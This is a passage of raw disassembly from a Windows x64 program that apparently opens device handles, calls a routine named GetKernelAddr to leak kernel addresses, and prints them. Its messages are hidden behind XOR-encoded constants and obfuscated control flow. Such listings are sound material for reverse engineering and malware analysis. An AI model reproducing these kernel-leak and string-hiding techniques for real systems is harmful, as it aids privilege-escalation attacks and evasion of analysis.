vmovdqa ymm0, ymm1
mov rax, rbx
mov qword [rbp + 0x940], rax
vmovdqa ymmword [rbx + 0x260], ymm0
mov rax, qword [rbp + 0x940]
vmovdqa ymm0, ymmword [rbx + 0x260]
vmovdqa ymmword [rax], ymm0
nop
lea rax, [rbx + 0x40]
add rax, 0x20
mov qword [rbp + 0x938], rax
mov rax, qword [rbp + 0x938]
vmovdqa xmm0, xmmword [rax]
mov rax, rbx
add rax, 0x20
mov qword [rbp + 0x930], rax
mov rax, qword [rbp + 0x930]
vmovdqa xmm1, xmmword [rax]
vmovdqa xmmword [rbp + 0x920], xmm1
vmovdqa xmmword [rbp + 0x910], xmm0
vmovdqa xmm1, xmmword [rbp + 0x920]
vmovdqa xmm0, xmmword [rbp + 0x910]
vpxor xmm0, xmm1, xmm0
mov rax, rbx
add rax, 0x20
mov qword [rbp + 0x908], rax
vmovdqa xmmword [rbp + 0x8f0], xmm0
mov rax, qword [rbp + 0x908]
vmovdqa xmm0, xmmword [rbp + 0x8f0]
vmovdqa xmmword [rax], xmm0
nop
mov rcx, rbx
mov rax, qword [rbp + 0xc80]
mov r8, rdx
mov rdx, rax
call sym.printf_char_const__::_
lea rax, [0x14004d007]
mov qword [str.BABUBE], rax
mov eax, dword [0x14004c210]
cmp eax, 0x29
jne 0x140011047
mov rax, qword [str.BABUBE]
mov qword [rbp + 0xc78], rax
mov byte [0x14004c1f0], 0
mov dword [0x14004c210], 0x349
mov rax, qword [rbp + 0xc78]
mov qword [str.BABUBE], rax
jmp 0x140011092
mov byte [0x14004c220], 1
mov dword [0x14004c210], 0x1218e
mov edx, dword [0x14004c210]
lea rax, [rbp + 0x610]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x610]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [str.BABUBE], rax
lea rax, [rbp + 0x610]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov dword [0x14004c210], 0x29
mov rax, qword [rbp + 0xca0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0xc0000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0xc70], rax
lea rax, [0x14004d007]
mov qword [str.BABUBE], rax
mov eax, dword [0x14004c210]
cmp eax, 0x29
jne 0x140011128
mov rax, qword [str.BABUBE]
mov qword [rbp + 0xc68], rax
mov byte [0x14004c1f0], 0
mov dword [0x14004c210], 0x349
mov rax, qword [rbp + 0xc68]
mov qword [str.BABUBE], rax
jmp 0x140011173
mov byte [0x14004c220], 1
mov dword [0x14004c210], 0x1218e
mov edx, dword [0x14004c210]
lea rax, [rbp + 0x630]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x630]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [str.BABUBE], rax
lea rax, [rbp + 0x630]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov dword [0x14004c210], 0x29
mov rax, qword [rbp + 0xca8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0xc0000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0xc60], rax
lea rax, [0x14004d007]
mov qword [str.BABUBE], rax
mov eax, dword [0x14004c210]
cmp eax, 0x29
jne 0x140011209
mov rax, qword [str.BABUBE]
mov qword [rbp + 0xc58], rax
mov byte [0x14004c1f0], 0
mov dword [0x14004c210], 0x349
mov rax, qword [rbp + 0xc58]
mov qword [str.BABUBE], rax
jmp 0x140011254
mov byte [0x14004c220], 1
mov dword [0x14004c210], 0x1218e
mov edx, dword [0x14004c210]
lea rax, [rbp + 0x650]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x650]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [str.BABUBE], rax
lea rax, [rbp + 0x650]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov dword [0x14004c210], 0x29
cmp qword [rbp + 0xc60], 0
je 0x140011276
cmp qword [rbp + 0xc60], 0xffffffffffffffff
jne 0x140011467
movabs rax, 0x74e1fb4d87b4eaf0
mov qword [rbp + 0x880], rax
mov rax, qword [rbp + 0x880]
mov qword [rbp + 0x880], rax
mov rax, qword [rbp + 0x880]
mov qword [rbx + 0x40], rax
movabs rax, 0xda14c94678db407f
mov qword [rbp + 0x878], rax
mov rax, qword [rbp + 0x878]
mov qword [rbp + 0x878], rax
mov rax, qword [rbp + 0x878]
mov qword [rbx + 0x48], rax
movabs rax, 0x8caaa07dc35f7e9d
mov qword [rbp + 0x870], rax
mov rax, qword [rbp + 0x870]
mov qword [rbp + 0x870], rax
mov rax, qword [rbp + 0x870]
mov qword [rbx + 0x50], rax
movabs rax, 0x80c86005b87601ec
mov qword [rbp + 0x868], rax
mov rax, qword [rbp + 0x868]
mov qword [rbp + 0x868], rax
mov rax, qword [rbp + 0x868]
mov qword [rbx + 0x58], rax
nop
movabs rax, 0x54bca902d5e6afab
mov qword [rbp + 0x8b8], rax
mov rax, qword [rbp + 0x8b8]
mov qword [rbp + 0x8b8], rax
mov rax, qword [rbp + 0x8b8]
mov qword [rbx], rax
movabs rax, 0xfa73a72f16be3030
mov qword [rbp + 0x8b0], rax
mov rax, qword [rbp + 0x8b0]
mov qword [rbp + 0x8b0], rax
mov rax, qword [rbp + 0x8b0]
mov qword [rbx + 8], rax
movabs rax, 0xe1c3ff18b3362ef5
mov qword [rbp + 0x8a8], rax
mov rax, qword [rbp + 0x8a8]
mov qword [rbp + 0x8a8], rax
mov rax, qword [rbp + 0x8a8]
mov qword [rbx + 0x10], rax
movabs rax, 0x80c86005b8760bc2
mov qword [rbp + 0x8a0], rax
mov rax, qword [rbp + 0x8a0]
mov qword [rbp + 0x8a0], rax
mov rax, qword [rbp + 0x8a0]
mov qword [rbx + 0x18], rax
mov qword [rbp + 0x898], rbx
mov rax, qword [rbp + 0x898]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
lea rax, [rbx + 0x40]
mov qword [rbp + 0x890], rax
mov rax, qword [rbp + 0x890]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0x240], ymm0
vmovdqa ymmword [rbx + 0x220], ymm1
vmovdqa ymm1, ymmword [rbx + 0x240]
vmovdqa ymm0, ymmword [rbx + 0x220]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
vmovdqa ymm0, ymm1
lea rax, [rbx + 0x40]
mov qword [rbp + 0x888], rax
vmovdqa ymmword [rbx + 0x200], ymm0
mov rax, qword [rbp + 0x888]
vmovdqa ymm0, ymmword [rbx + 0x200]
vmovdqa ymmword [rax], ymm0
nop
lea rax, [rbx + 0x40]
mov rcx, rax
call sym.printf_char_const__::_
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov rax, qword [rbp + 0xc60]
mov rcx, rax
call sym.GetKernelAddr_void_
mov rcx, rax
movabs rax, 0x3ad9d94df5bb85f0
mov qword [rbp + 0x7f0], rax
mov rax, qword [rbp + 0x7f0]
mov qword [rbp + 0x7f0], rax
mov rax, qword [rbp + 0x7f0]
mov qword [rbx + 0x40], rax
movabs rax, 0x9b1b874a7ad75610
mov qword [rbp + 0x7e8], rax
mov rax, qword [rbp + 0x7e8]
mov qword [rbp + 0x7e8], rax
mov rax, qword [rbp + 0x7e8]
mov qword [rbx + 0x48], rax
movabs rax, 0x93ac9938d65a4a9b
mov qword [rbp + 0x7e0], rax
mov rax, qword [rbp + 0x7e0]
mov qword [rbp + 0x7e0], rax
mov rax, qword [rbp + 0x7e0]
mov qword [rbx + 0x50], rax
movabs rax, 0xe5b80975983b42e2
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbx + 0x58], rax
movabs rax, 0x4c9c2cd32a6d8f05
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
mov qword [rbx + 0x60], rax
movabs rax, 0xe2f9a7c6f197a6aa
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rbx + 0x68], rax
movabs rax, 0xd4e581ccb9c801a3
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rbx + 0x70], rax
movabs rdi, 0x671795a997ee7d16
mov qword [rbp + 0x7b8], rdi
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rbx + 0x78], rax
nop
movabs rax, 0x54bca902d5e6afab
mov qword [rbp + 0x860], rax
mov rax, qword [rbp + 0x860]
mov qword [rbp + 0x860], rax
mov rax, qword [rbp + 0x860]
mov qword [rbx], rax
movabs rax, 0xfa73a72f16be3030
mov qword [rbp + 0x858], rax
mov rax, qword [rbp + 0x858]
mov qword [rbp + 0x858], rax
mov rax, qword [rbp + 0x858]
mov qword [rbx + 8], rax
movabs rax, 0xe1c3ff18b3362ef5
mov qword [rbp + 0x850], rax
mov rax, qword [rbp + 0x850]
mov qword [rbp + 0x850], rax
mov rax, qword [rbp + 0x850]
mov qword [rbx + 0x10], rax
movabs rax, 0x80c86005b8760bc2
mov qword [rbp + 0x848], rax
mov rax, qword [rbp + 0x848]
mov qword [rbp + 0x848], rax
mov rax, qword [rbp + 0x848]
mov qword [rbx + 0x18], rax
movabs rax, 0x61bc54f6525daf3f
mov qword [rbp + 0x840], rax
mov rax, qword [rbp + 0x840]
mov qword [rbp + 0x840], rax
mov rax, qword [rbp + 0x840]
mov qword [rbx + 0x20], rax
movabs rax, 0x9a95cbe389a78694
mov qword [rbp + 0x838], rax
mov rax, qword [rbp + 0x838]
mov qword [rbp + 0x838], rax
mov rax, qword [rbp + 0x838]
mov qword [rbx + 0x28], rax
movabs rax, 0xd4e581ccb9c801a9
mov qword [rbp + 0x830], rax
mov rax, qword [rbp + 0x830]
mov qword [rbp + 0x830], rax
mov rax, qword [rbp + 0x830]
mov qword [rbx + 0x30], rax
mov qword [rbp + 0x828], rdi
mov rax, qword [rbp + 0x828]
mov qword [rbp + 0x828], rax
mov rax, qword [rbp + 0x828]
mov qword [rbx + 0x38], rax
mov qword [rbp + 0x820], rbx
mov rax, qword [rbp + 0x820]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
lea rax, [rbx + 0x40]
mov qword [rbp + 0x818], rax
mov rax, qword [rbp + 0x818]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0x1e0], ymm0
vmovdqa ymmword [rbx + 0x1c0], ymm1
vmovdqa ymm1, ymmword [rbx + 0x1e0]
vmovdqa ymm0, ymmword [rbx + 0x1c0]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
vmovdqa ymm0, ymm1
lea rax, [rbx + 0x40]
mov qword [rbp + 0x810], rax
vmovdqa ymmword [rbx + 0x1a0], ymm0
mov rax, qword [rbp + 0x810]
vmovdqa ymm0, ymmword [rbx + 0x1a0]
vmovdqa ymmword [rax], ymm0
nop
lea rax, [rbx + 0x20]
mov qword [rbp + 0x808], rax
mov rax, qword [rbp + 0x808]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
lea rax, [rbx + 0x40]
add rax, 0x20
mov qword [rbp + 0x800], rax
mov rax, qword [rbp + 0x800]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0x180], ymm0
vmovdqa ymmword [rbx + 0x160], ymm1
vmovdqa ymm1, ymmword [rbx + 0x180]
vmovdqa ymm0, ymmword [rbx + 0x160]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
vmovdqa ymm0, ymm1
lea rax, [rbx + 0x40]
add rax, 0x20
mov qword [rbp + 0x7f8], rax
vmovdqa ymmword [rbx + 0x140], ymm0
mov rax, qword [rbp + 0x7f8]
vmovdqa ymm0, ymmword [rbx + 0x140]
vmovdqa ymmword [rax], ymm0
nop
lea rax, [rbx + 0x40]
mov rdx, qword [rbp + 0xc60]
mov r8, rcx
mov rcx, rax
call sym.printf_char_const__::_
cmp qword [rbp + 0xc70], 0
je 0x140011857
cmp qword [rbp + 0xc70], 0xffffffffffffffff
jne 0x140011a48
movabs rax, 0x74e1fb4d87b4eaf0
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov qword [rbx + 0x40], rax
movabs rax, 0xda14c94678db407f
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov qword [rbx + 0x48], rax
movabs rax, 0x96b1a07ddf5f689d
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov qword [rbx + 0x50], rax
movabs rax, 0x80c86005b87601ec
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
mov qword [rbx + 0x58], rax
nop
movabs rax, 0x54bca902d5e6afab
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7b0]
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7b0]
mov qword [rbx], rax
movabs rax, 0xfa73a72f16be3030
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov qword [rbx + 8], rax
movabs rax, 0xe1c3ff18b3362ef5
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0x7a0]
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0x7a0]
mov qword [rbx + 0x10], rax
movabs rax, 0x80c86005b8760bc2
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
mov qword [rbx + 0x18], rax
mov qword [rbp + 0x790], rbx
mov rax, qword [rbp + 0x790]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
lea rax, [rbx + 0x40]
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0x120], ymm0
vmovdqa ymmword [rbx + 0x100], ymm1
vmovdqa ymm1, ymmword [rbx + 0x120]
vmovdqa ymm0, ymmword [rbx + 0x100]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
vmovdqa ymm0, ymm1
lea rax, [rbx + 0x40]
mov qword [rbp + 0x780], rax
vmovdqa ymmword [rbx + 0xe0], ymm0
mov rax, qword [rbp + 0x780]
vmovdqa ymm0, ymmword [rbx + 0xe0]
vmovdqa ymmword [rax], ymm0
nop
lea rax, [rbx + 0x40]
mov rcx, rax
call sym.printf_char_const__::_
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov rax, qword [rbp + 0xc70]
mov rcx, rax
call sym.GetKernelAddr_void_
mov rdx, rax
movabs rax, 0x3ad9d94df5bb85f0
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov qword [rbx], rax
movabs rax, 0x9b1b874a7ad75610
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov qword [rbx + 8], rax
movabs rax, 0x93ac9938d65a4a9b
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov qword [rbx + 0x10], rax
movabs rax, 0xe5b80975982159e2
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov qword [rbx + 0x18], rax
movabs rax, 0x5f912cd32a6d8f05
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
mov qword [rbx + 0x20], rax
movabs rax, 0x9a9fb38fe582fea4
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
mov qword [rbx + 0x28], rax
nop
movabs rax, 0x54bca902d5e6afab
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov qword [rbx + 0x40], rax
movabs rax, 0xfa73a72f16be3030
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov qword [rbx + 0x48], rax
movabs rax, 0xe1c3ff18b3362ef5
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
mov qword [rbx + 0x50], rax
movabs rax, 0x80c86005b8760bc2
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x740]
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x740]
mov qword [rbx + 0x58], rax
movabs rax, 0x61bc54f6525daf3f
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov qword [rbx + 0x60], rax
movabs rax, 0x9a95cbe389a78694
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
mov qword [rbx + 0x68], rax
lea rax, [rbx + 0x40]
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
mov rax, rbx
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0xc0], ymm0
vmovdqa ymmword [rbx + 0xa0], ymm1
vmovdqa ymm1, ymmword [rbx + 0xc0]
vmovdqa ymm0, ymmword [rbx + 0xa0]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
vmovdqa ymm0, ymm1
mov rax, rbx
mov qword [rbp + 0x718], rax
vmovdqa ymmword [rbx + 0x80], ymm0
mov rax, qword [rbp + 0x718]
vmovdqa ymm0, ymmword [rbx + 0x80]
vmovdqa ymmword [rax], ymm0
nop
lea rax, [rbx + 0x40]
add rax, 0x20
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
vmovdqa xmm0, xmmword [rax]
mov rax, rbx
add rax, 0x20
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
vmovdqa xmm1, xmmword [rax]
vmovdqa xmmword [rbp + 0x6f0], xmm1
vmovdqa xmmword [rbp + 0x6e0], xmm0
vmovdqa xmm1, xmmword [rbp + 0x6f0]
vmovdqa xmm0, xmmword [rbp + 0x6e0]
vpxor xmm0, xmm1, xmm0
mov rax, rbx
add rax, 0x20
mov qword [rbp + 0x6d8], rax
vmovdqa xmmword [rbp + 0x6c0], xmm0
mov rax, qword [rbp + 0x6d8]
vmovdqa xmm0, xmmword [rbp + 0x6c0]
vmovdqa xmmword [rax], xmm0
nop
mov rcx, rbx
mov rax, qword [rbp + 0xc70]
mov r8, rdx
mov rdx, rax
call sym.printf_char_const__::_
lea rax, [0x14004d007]
mov qword [str.BABUBE], rax
mov eax, dword [0x14004c210]
cmp eax, 0x29
jne 0x140011db9
mov rax, qword [str.BABUBE]
mov qword [rbp + 0xc50], rax
mov byte [0x14004c1f0], 0
mov dword [0x14004c210], 0x349
mov rax, qword [rbp + 0xc50]
mov qword [str.BABUBE], rax
jmp 0x140011e04
mov byte [0x14004c220], 1
mov dword [0x14004c210], 0x1218e
mov edx, dword [0x14004c210]
lea rax, [rbp + 0x670]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x670]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [str.BABUBE], rax
lea rax, [rbp + 0x670]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov dword [0x14004c210], 0x29
mov eax, 0
add rsp, 0xd90
pop rbx
pop rdi
pop rbp
ret